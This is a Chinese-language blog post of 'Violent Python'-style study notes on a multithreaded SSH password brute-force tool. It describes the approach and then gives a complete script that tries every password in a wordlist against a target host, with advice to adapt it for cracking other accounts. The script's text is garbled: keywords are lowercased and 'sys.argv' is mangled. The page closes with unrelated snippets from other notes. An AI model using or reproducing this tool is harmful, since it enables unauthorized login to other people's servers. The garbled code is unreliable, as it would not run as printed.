Python絕技學習筆記 ssh暴力破解(多執行緒)

2021-09-24 23:10:56 字數 2657 閱讀 4087

1.開啟多執行緒(t.start()後會繼續執行,t.join()是等待子程序執行完畢)

2.fail用於記錄read_nonblocking和pxssh命令符提取失敗的次數

3.maxconnections表示最大連線數(多執行緒,實際上是乙個cpu在交替執行。。。。。)

**編寫思路:

main()函式

1.解析引數

2.迴圈遍歷密碼檔案(開啟5個執行緒連線,這裡開啟執行緒速度會更快是因為這裡要遠端連線,等待網路有阻塞,故開啟多執行緒可以加快速度)

3.利用賬號密碼連線ssh伺服器。

s=pxssh.pxssh()

s.login(host,user,password)

有三種返回情況,

登入成功

丟擲三種異常,其中兩種是因為ssh伺服器被大量連線刷爆了,或者是pxxsh命令提示符連線困難。這兩種情況都可以等會再連線。當發生五此這種超時錯誤時,可以過會再手動執行。

附上**:

from threading import *

from pexpect import pxssh

import sys

import getopt

maxconnections=5

found=false

connect_lock=boundedsemaphore(value=maxconnections)

fails=0

def connect(host,user,password,release):

global fails

global connect_lock

global found

try:

s=pxssh.pxssh()

#print user

#print password

#print "host" +str(host)

#print "user"+str(user)

#print "password"+str(password)        

s.login(host,user,password)

print '[+] password found'+password

found=1

except exception,e:

if "read_nonblocking" in str(e):

fails+=1

sleep(5)

connect(host,user,password,false)

elif 'synchronize with original prompt' in str(e):

sleep(1)

connect(host,user,password,false)

finally:

if release:

connect_lock.release()

def usage():

print "ssh boom"

print "-u username"

print "-p destination passwordfile"

def main():

if not len(sys.ar**[1:]):

usage()

try:

opts,args=getopt.getopt(sys.ar**[1:],'u:p:h:')

except getopt.getopterror as err:

print str(err)

usage()

for o,a in opts:

if o in "-u":

user=a

elif o in "-h":

host=a

elif o in "-p":

password=a

else:

usage()

if host==none or password==none or user==none:

usage()

exit(0)

fn=open(password,'r')

for line in fn.readlines():

#print "hello"

if found:

print "[*] exiting: password found"

exit(0)

if fails>5:

print "[!] exiting :too many socket timeouts"

exit(0)

connect_lock.acquire()

passwd=line.strip('\r').strip('\n')

print "[-] testing: " +str(passwd)

t= thread(target=connect,args=(host,user,passwd,true))

t.start()

if __name__=='__main__':

main()

菜鳥實測,加上執行緒速度確實快了很多

小結:像這類網路,或者其他有阻塞的程序,開執行緒了可以提高好幾倍的速度。其他的賬號密碼的破解可在此基礎上編寫,速度應該會比burp快很多

ssh學習筆記

一 理論 從客戶端來看,ssh提供兩種級別的安全驗證 第一種級別 基於口令的安全驗證 只要你知道自己帳號和口令,就可以登入到遠端主機。所有傳輸的資料都會被加密,但是不能保證你正在連線的伺服器就是你想連線的伺服器。第二種級別 基於密匙的安全驗證 需要依靠 金鑰,也就是你必須為自己建立一對密匙,並把公用...

ssh學習筆記

一直對shh很感興趣,也一直有用shh開發東西,但是學習地並不深入。1.ssh開發最好用myeclipse,這個ide真的非常好用,框架搭建基本不用花太大的力氣。2.當用hibernate去鏈結oracle的時候經常會出現sid識別不了的情況,這時候就要去修改一下oracle的配置檔案裡。3.ora...

SSH學習筆記 一

昨天在使用hibernate運算元據庫是出現了兩個異常,弄了很久才把問題解決,現在想把解決過程記錄下來,希望能給遇到跟我一樣問題的朋友一些幫助,o o 1.ora 01843 not a valid month 異常解決辦法。由於我裝的作業系統是英文版的,預設的日期格式為dd mm yyyy,而or...